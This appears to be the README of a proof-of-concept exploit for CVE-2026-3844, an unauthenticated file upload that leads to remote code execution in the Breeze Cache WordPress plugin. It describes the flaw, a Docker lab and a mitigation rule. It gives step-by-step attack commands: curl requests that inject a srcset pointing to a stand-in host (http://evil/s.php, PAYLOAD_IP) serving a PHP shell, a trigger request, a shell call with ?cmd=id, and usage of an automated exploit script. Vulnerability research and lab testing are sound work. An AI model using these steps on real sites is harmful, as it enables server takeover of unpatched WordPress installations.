
Proof-of-concept exploit for CVE-2026-3844, an unauthenticated arbitrary file upload leading to remote code execution in Breeze Cache <= 2.4.4. Includes Docker lab and automated exploit script.
| Field | Value |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| Plugin | Breeze Cache by Cloudways |
| Affected | All versions up to and including 2.4.4 |
| Fixed | 2.4.5 (changeset 3511463) |
| Installs | 400,000+ active WordPress installations |
| Discovered by | Hung Nguyen (bashu) |
| Disclosed | 2026-04-23 |
The fetch_gravatar_from_remote() function in inc/class-breeze-cache-cronjobs.php downloads
remote URLs and saves them to a web-accessible directory using the original filename and
extension from the URL. There is no MIME type validation, no extension whitelist, and
no content inspection.
When the "Host Files Locally - Gravatars" setting is enabled, the plugin hooks into WordPress's
get_avatar filter via breeze_replace_gravatar_image(). This function uses a regex to extract
URLs from srcset and src attributes in the avatar HTML. An attacker can inject a malicious
srcset attribute by posting a comment with a crafted author name, causing the plugin to
download and cache an arbitrary PHP file.
What's missing:
.php, .phtml, .phar all accepted)Attacker WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Comment saved
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | get_avatar filter fires
| | breeze_replace_gravatar_image()
| | extracts srcset URL via regex
| | calls fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| PHP file content |
| -----------------------------> |
| | Saved to:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP executes as www-data
| uid=33(www-data) |
| <------------------------------------ |
This PoC includes a self-contained Docker environment with:
requests (pip install requests)cd docker/
docker compose up -d --build
Wait ~30 seconds for WordPress to initialize. Verify:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Expected: Stable tag: 2.4.4
The Docker setup automatically:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Replace PAYLOAD_IP with the payload container's IP:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Expected response: HTTP 302 redirect to the post page.
Visit the post page to make WordPress render the comment's avatar, which fires the
Breeze get_avatar filter and downloads the payload:
curl -s "http://localhost:8088/?p=1" > /dev/null
The rendered HTML shows Breeze extracted the injected srcset and cached the payload:
The PHP payload is written verbatim, owned by www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target WordPress target URL (required)
-p, --payload URL of the PHP payload to upload
--post-id Specific post ID to comment on
--timeout HTTP timeout in seconds (default: 15)
--wait Seconds to wait for cron (default: 12)
--check-only Only check plugin version, don't exploit
cd docker/
docker compose down -v --remove-orphans
.htaccess in wp-content/cache/breeze-extra/gravatars/:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # This file
docker/
Dockerfile # WordPress + Breeze 2.4.4 image
docker-compose.yml # Full lab (WP + MariaDB + payload server)
entrypoint-custom.sh # Auto-configures WP with vulnerable settings
poc/
exploit.py # Automated PoC exploit script
validate.sh # End-to-end Docker validation harness
payloads/
shell.php # Harmless PoC payload (echo + id)
screenshots/ # SVG terminal screenshots (Charm freeze)
validation/ # RAPTOR exploitability validation output
This proof-of-concept is provided for authorized security testing, education, and defensive research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.